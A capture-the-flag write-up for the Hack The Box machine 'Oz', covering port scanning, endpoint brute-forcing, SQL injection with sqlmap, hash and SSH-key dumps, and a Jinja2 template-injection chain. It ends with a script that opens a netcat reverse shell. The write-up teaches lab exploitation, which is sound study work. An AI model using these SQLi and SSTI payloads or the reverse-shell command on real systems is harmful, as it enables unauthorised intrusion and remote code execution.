Description

Name: Oz

IP: 10.10.10.96

Authors: Mumbai & incidrthreat

Difficulty: 7.1/10

Discovery

nmap -sV -sC -Pn -p 1-65535 -T5 --min-rate 1000 --max-retries 5 10.10.10.96 PORT STATE SERVICE VERSION

80/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14)

| http-methods:

|_ Supported Methods: HEAD OPTIONS GET POST

|_http-server-header: Werkzeug/0.14.1 Python/2.7.14

|_http-title: OZ webapi

|_http-trane-info: Problem with XML parsing of /evox/about

8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14)

|_http-favicon: Unknown favicon MD5: 2AD9B45644388EAAA41B8DA6614F8256

| http-methods:

|_ Supported Methods: HEAD GET POST OPTIONS

| http-open-proxy: Potentially OPEN proxy.

|_Methods supported:CONNECTION

|_http-server-header: Werkzeug/0.14.1 Python/2.7.14

| http-title: GBR Support - Login

|_Requested resource was http://10.10.10.96:8080/login

|_http-trane-info: Problem with XML parsing of /evox/about

Pwn

On port 8080 we have a GRB Support portal with a login form.

The login is not vulnerable to SQLi and with a brute force with hydra no valid username/password tuples are found.

Using dirsearch on both ports is useless since there is a custom 404 page that will returns a random string of random length.

Error 404

Since the server supports different HTTP methods we wrote a basic scanner using Python’s requests library: we can abuse the OPTIONS method to read the Content-Length header. The web-server will answer with a code 200 and Content-Lenght of 0 (zero) for an existing page.

Page found

Page not found

import requests

import multiprocessing as mp



url = "http://10.10.10.96/"





def check(token):

r = requests.options(url + token)

if int(r.headers["Content-Length"]) == 0:

print("OPTIONS", token)

r = requests.post(url + token)



if __name__ == '__main__':

lines = open("/usr/share/dirbuster/directory-list-2.3-medium.txt").read().split("

")

with mp.Pool(processes=100) as p:

p.map(check, lines)

Using this method it’s possible to find a /users URI; to run a recursive search just add the found URI in the script. Using the same script to access /users subdirs and files we got a lots of false positive so we changed from OPTIONS to GET.

http POST http://10.10.10.96/users

HTTP/1.0 200 OK

Content-Length: 24

Content-Type: text/html; charset=utf-8

Server: Werkzeug/0.14.1 Python/2.7.14



YOU HAVE NO POWER HERE!

GET is ok

import requests

import multiprocessing as mp



url = "http://10.10.10.96/users/"





def check(token):

url = "http://10.10.10.96/"

r = requests.options(url + token)

if int(r.headers["Content-Length"]) == 0:

print("OPTIONS", token, r.text)

url = "http://10.10.10.96/users/"

r = requests.get(url + token)

if r.text.strip()[:4] != "null":

print("GET", token, r.text)



if __name__ == '__main__':

lines = open("params.txt").read().split("

")

with mp.Pool(processes=100) as p:

p.map(check, lines)

Now we got another URI path: /users/admin .

http GET "http://10.10.10.96/users/admin"

HTTP/1.0 200 OK

Content-Length: 21

Content-Type: application/json

Server: Werkzeug/0.14.1 Python/2.7.14



{

"username": "admin"

}

So now we can proceed to guess other URI parts or parameters using other HTTP methods.

After some fuzzing we didn’t found anything useful to continue the enumeration phase but when inserting ‘ at the end of the URL the server returns a 500 error.

http "http://10.10.10.96/users/admin'"

HTTP/1.0 500 INTERNAL SERVER ERROR

Content-Length: 291

Content-Type: text/html

Date: Mon, 03 Sep 2018 22:17:05 GMT

Server: Werkzeug/0.14.1 Python/2.7.14



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">

<title>500 Internal Server Error</title>

<h1>Internal Server Error</h1>

With sqlmap it’s possible to check from some URI injection:

sqlmap -u "http://10.10.10.96/users/admin" --threads 10 --level 5 --risk 3 --batch --dbs

Turns out that the target is vulnerable and at the end of the scan we got the list of all MySQL server’s databases.

---

Parameter: #1* (URI)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: http://10.10.10.96:80/users/admin' AND 5246=5246-- SeOn



Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind

Payload: http://10.10.10.96:80/users/admin' AND SLEEP(5)-- BpAR



Type: UNION query

Title: Generic UNION query (NULL) - 1 column

Payload: http://10.10.10.96:80/users/-2790' UNION ALL SELECT CONCAT(0x717a766271,0x6e6f776f6a784870634348434f575354716f556d647a59595a454b6d435343644c576e5547414449,0x7178787071)-- XCKA

---

[00:11:44] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL >= 5.0.12

[00:11:44] [INFO] fetching database names

[00:11:44] [INFO] used SQL query returns 4 entries

[00:11:44] [INFO] starting 4 threads

[00:11:44] [INFO] resumed: information_schema

[00:11:44] [INFO] resumed: mysql

[00:11:44] [INFO] resumed: ozdb

[00:11:44] [INFO] resumed: performance_schema

available databases [4]:

[*] information_schema

[*] mysql

[*] ozdb

[*] performance_schema

The ozdb is the database used by the GBR application on port 8080; the web-app seems to be a simple ticketing system. Dumping all the content of this DB we got some usernames and passwords (hashes):

Database: ozdb

Table: users_gbw

[6 entries]

+----+-------------+----------------------------------------------------------------------------------------+

| id | username | password |

+----+-------------+----------------------------------------------------------------------------------------+

| 1 | dorthi | $pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78 |

| 2 | tin.man | $pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk |

| 3 | wizard.oz | $pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY |

| 4 | coward.lyon | $pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY |

| 5 | toto | $pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg |

| 6 | admin | $pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ |

+----+-------------+----------------------------------------------------------------------------------------+



Database: ozdb

Table: tickets_gbw

[12 entries]

+----+----------+--------------------------------------------------------------------------------------------------------------------------------+

| id | name | desc |

+----+----------+--------------------------------------------------------------------------------------------------------------------------------+

| 1 | GBR-987 | Reissued new id_rsa and id_rsa.pub keys for ssh access to dorthi. |

| 2 | GBR-1204 | Where did all these damn monkey's come from!? I need to call pest control. |

| 3 | GBR-1205 | Note to self: Toto keeps chewing on the curtain, find one with dog repellent. |

| 4 | GBR-1389 | Nothing to see here... V2hhdCBkaWQgeW91IGV4cGVjdD8= |

| 5 | GBR-4034 | Think of a better secret knock for the front door. Doesn't seem that secure, a Lion got in today. |

| 6 | GBR-5012 | I bet you won't read the next entry. |

| 7 | GBR-7890 | HAHA! Made you look. |

| 8 | GBR-7945 | Dorthi should be able to find her keys in the default folder under /home/dorthi/ on the db. |

| 9 | GBR-8011 | Seriously though, WW91J3JlIGp1c3QgdHJ5aW5nIHRvbyBoYXJkLi4uIG5vYm9keSBoaWRlcyBhbnl0aGluZyBpbiBiYXNlNjQgYW55bW9yZS4uLiBjJ21vbi4= |

| 10 | GBR-8042 | You are just wasting time now... someone else is getting user.txt |

| 11 | GBR-8457 | Look... now they've got root.txt and you don't even have user.txt |

| 12 | GBR-9872 | db information loaded to ticket application for shared db access |

+----+----------+--------------------------------------------------------------------------------------------------------------------------------+



V2hhdCBkaWQgeW91IGV4cGVjdD8=

What did you expect?



WW91J3JlIGp1c3QgdHJ5aW5nIHRvbyBoYXJkLi4uIG5vYm9keSBoaWRlcyBhbnl0aGluZyBpbiBiYXNlNjQgYW55bW9yZS4uLiBjJ21vbi4=

You're just trying too hard... nobody hides anything in base64 anymore... c'mon.

From sqlmap we also got MySQL users’ hashes:

root:61A2BD98DAD2A09749B6FC77A9578609D32518DD

dorthi:43AE542A63D9C43FF9D40D0280CFDA58F6C747CA

We first used JtR to crack some hashes:

john --format=PBKDF2-HMAC-SHA256-opencl --wordlist=rockyou.txt --rules hashes.txt

and after a while we got the password for wizard.oz user: wizardofoz22

While JtR was running we retrieved, with sqlmap read file option, the SSH private key for dorthi user in /home/dorthi/.ssh/id_rsa:

-----BEGIN RSA PRIVATE KEY-----

Proc-Type: 4,ENCRYPTED

DEK-Info: AES-128-CBC,66B9F39F33BA0788CD27207BF8F2D0F6



RV903H6V6lhKxl8dhocaEtL4Uzkyj1fqyVj3eySqkAFkkXms2H+4lfb35UZb3WFC

b6P7zYZDAnRLQjJEc/sQVXuwEzfWMa7pYF9Kv6ijIZmSDOMAPjaCjnjnX5kJMK3F

e1BrQdh0phWAhhUmbYvt2z8DD/OGKhxlC7oT/49I/ME+tm5eyLGbK69Ouxb5PBty

h9A+Tn70giENR/ExO8qY4WNQQMtiCM0tszes8+guOEKCckMivmR2qWHTCs+N7wbz

a//JhOG+GdqvEhJp15pQuj/3SC9O5xyLe2mqL1TUK3WrFpQyv8lXartH1vKTnybd

9+Wme/gVTfwSZWgMeGQjRXWe3KUsgGZNFK75wYtA/F/DB7QZFwfO2Lb0mL7Xyzx6

ZakulY4bFpBtXsuBJYPNy7wB5ZveRSB2f8dznu2mvarByMoCN/XgVVZujugNbEcj

evroLGNe/+ISkJWV443KyTcJ2iIRAa+BzHhrBx31kG//nix0vXoHzB8Vj3fqh+2M

EycVvDxLK8CIMzHc3cRVUMBeQ2X4GuLPGRKlUeSrmYz/sH75AR3zh6Zvlva15Yav

5vR48cdShFS3FC6aH6SQWVe9K3oHzYhwlfT+wVPfaeZrSlCH0hG1z9C1B9BxMLQr

DHejp9bbLppJ39pe1U+DBjzDo4s6rk+Ci/5dpieoeXrmGTqElDQi+KEU9g8CJpto

bYAGUxPFIpPrN2+1RBbxY6YVaop5eyqtnF4ZGpJCoCW2r8BRsCvuILvrO1O0gXF+

wtsktmylmHvHApoXrW/GThjdVkdD9U/6Rmvv3s/OhtlAp3Wqw6RI+KfCPGiCzh1V

0yfXH70CfLO2NcWtO/JUJvYH3M+rvDDHZSLqgW841ykzdrQXnR7s9Nj2EmoW72IH

znNPmB1LQtD45NH6OIG8+QWNAdQHcgZepwPz4/9pe2tEqu7Mg/cLUBsTYb4a6mft

icOX9OAOrcZ8RGcIdVWtzU4q2YKZex4lyzeC/k4TAbofZ0E4kUsaIbFV/7OMedMC

zCTJ6rlAl2d8e8dsSfF96QWevnD50yx+wbJ/izZonHmU/2ac4c8LPYq6Q9KLmlnu

vI9bLfOJh8DLFuqCVI8GzROjIdxdlzk9yp4LxcAnm1Ox9MEIqmOVwAd3bEmYckKw

w/EmArNIrnr54Q7a1PMdCsZcejCjnvmQFZ3ko5CoFCC+kUe1j92i081kOAhmXqV3

c6xgh8Vg2qOyzoZm5wRZZF2nTXnnCQ3OYR3NMsUBTVG2tlgfp1NgdwIyxTWn09V0

nOzqNtJ7OBt0/RewTsFgoNVrCQbQ8VvZFckvG8sV3U9bh9Zl28/2I3B472iQRo+5

uoRHpAgfOSOERtxuMpkrkU3IzSPsVS9c3LgKhiTS5wTbTw7O/vxxNOoLpoxO2Wzb

/4XnEBh6VgLrjThQcGKigkWJaKyBHOhEtuZqDv2MFSE6zdX/N+L/FRIv1oVR9VYv

QGpqEaGSUG+/TSdcANQdD3mv6EGYI+o4rZKEHJKUlCI+I48jHbvQCLWaR/bkjZJu

XtSuV0TJXto6abznSC1BFlACIqBmHdeaIXWqH+NlXOCGE8jQGM8s/fd/j5g1Adw3

-----END RSA PRIVATE KEY-----

Unfortunately the key is encrypted and unusable (we don’t even have a SSH service) so we can pipeline another JtR job for this private key (use ssh2john to get the hash).

From the homepage service we saw the same tickets dumped from the DB and a form to submit a new ticket.

Since the server is using Flask (with Python2) to serve the content of the pages we can try to inject some Python code to verify a vulnerability called SSTI (Server-Side Template Injection).

Template engines are widely used by web applications to present dynamics data via web pages and emails. Unsafely embedding user input in templates enables SSTI. This kind on injections can be used to directly attack web servers’ internals and often obtain RCE, turning every vulnerable application into a potential pivot point.

How to identify the engine framework

First we have to identify which engine the web app is using (Make, Jinja2, Twig, …): since Jinja2 is the most used one we can try to inject {{2+2}}, if the application returns 4 it’s possible to exploit the application to run Python code.

import requests



url = "http://10.10.10.96:8080/"

data = {"username": "wizard.oz", "password": "wizardofoz22"}

header = {

"User-Agent":

"Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0"

}



sess = requests.Session()

sess.headers.update(header)

sess.post(url + "login", data=data)

print(sess.cookies.get_dict())



exploit = {"name": "{{2+2}}", "desc": "desc"}

r = sess.post(url, data=exploit, allow_redirects=False)

print(r.text)

We must block the redirection after the POST request since the application will immediately return to the home page without printing any response or adding any ticket to the DB.

Running the script we got a response: “Name: 4 desc: desc”.

Now it’s time to inject a meterpreter web delivery script!

With config.items() in the injection point we got the application configuration:

Name: [('JSON_AS_ASCII', True), ('USE_X_SENDFILE', False), ('SQLALCHEMY_DATABASE_URI', 'mysql+pymysql://dorthi:N0Pl4c3L1keH0me@10.100.10.4/ozdb'), ('SESSION_COOKIE_SECURE', False), ('SQLALCHEMY_TRACK_MODIFICATIONS', None), ('SQLALCHEMY_POOL_SIZE', None), ('SQLALCHEMY_POOL_TIMEOUT', None), ('SESSION_COOKIE_PATH', None), ('SQLALCHEMY_RECORD_QUERIES', None), ('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_NAME', 'session'), ('SQLALCHEMY_BINDS', None), ('SQLALCHEMY_POOL_RECYCLE', None), ('MAX_COOKIE_SIZE', 4093), ('SESSION_COOKIE_SAMESITE', None), ('PROPAGATE_EXCEPTIONS', None), ('ENV', 'production'), ('DEBUG', False), ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False), ('SECRET_KEY', None), ('EXPLAIN_TEMPLATE_LOADING', False), ('SQLALCHEMY_NATIVE_UNICODE', None), ('MAX_CONTENT_LENGTH', None), ('SQLALCHEMY_ECHO', False), ('APPLICATION_ROOT', '/'), ('SERVER_NAME', None), ('PREFERRED_URL_SCHEME', 'http'), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('TESTING', False), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)), ('TEMPLATES_AUTO_RELOAD', None), ('TRAP_BAD_REQUEST_ERRORS', None), ('JSON_SORT_KEYS', True), ('JSONIFY_MIMETYPE', 'application/json'), ('SQLALCHEMY_MAX_OVERFLOW', None), ('SESSION_COOKIE_HTTPONLY', True), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('TRAP_HTTP_EXCEPTIONS', False)] desc: desc

And MySQL credentials for dorthi on IP 10.100.10.4 but RUNCMD is not enabled to execute system commands.

Abusing the Python MRO (Method Resolution Order) it’s possible to list all objects in the current environment and search for something that will let us execute OS commands.

''.__class__.__mro__[2].__subclasses__() : to list all Python imported classes

: to list all Python imported classes search for the index of a class that has the ability to import popen module (or any other system method)

module (or any other method) found Name: <class 'warnings.catch_warnings'> desc: desc at index 59

at index 59 class ‘warnings’ inherit the ‘linecache’ method ( ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals )

) ''.__class__.__mro__[2].__subclasses__()[59].__init__func_globals['linecache'].__dict__.values() and search for the os module; in this case is at index 12 (or -2)

and search for the module; in this case is at index 12 (or -2) craft the complete payload with popen function: ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[-2].popen('id').read()

Or just use tplmap to identify and exploit SSTI vulnerabilities.

Now that we have a RCE on the web application we have to find a way to inject a meterpreter stage: nc is installed on the system so we first open a simple reverse shell and the use metasploit.

import requests



url = "http://10.10.10.96:8080/"

data = {"username": "wizard.oz", "password": "wizardofoz22"}

header = {

"User-Agent":

"Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0"

}



sess = requests.Session()

sess.headers.update(header)

sess.post(url + "login", data=data)

print(sess.cookies.get_dict())



exploit = {

"name":

"{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[-2].popen('nc 10.10.X.X 3487 -e /bin/sh').read()}}",

"desc":

"desc"

}

r = sess.post(url, data=exploit, allow_redirects=False)

print(r.text.replace("'", "'").replace(">", ">").replace("<", "<"))

From the working directory we got the source code of the web application, a Dockerfile for the DB server and its start script.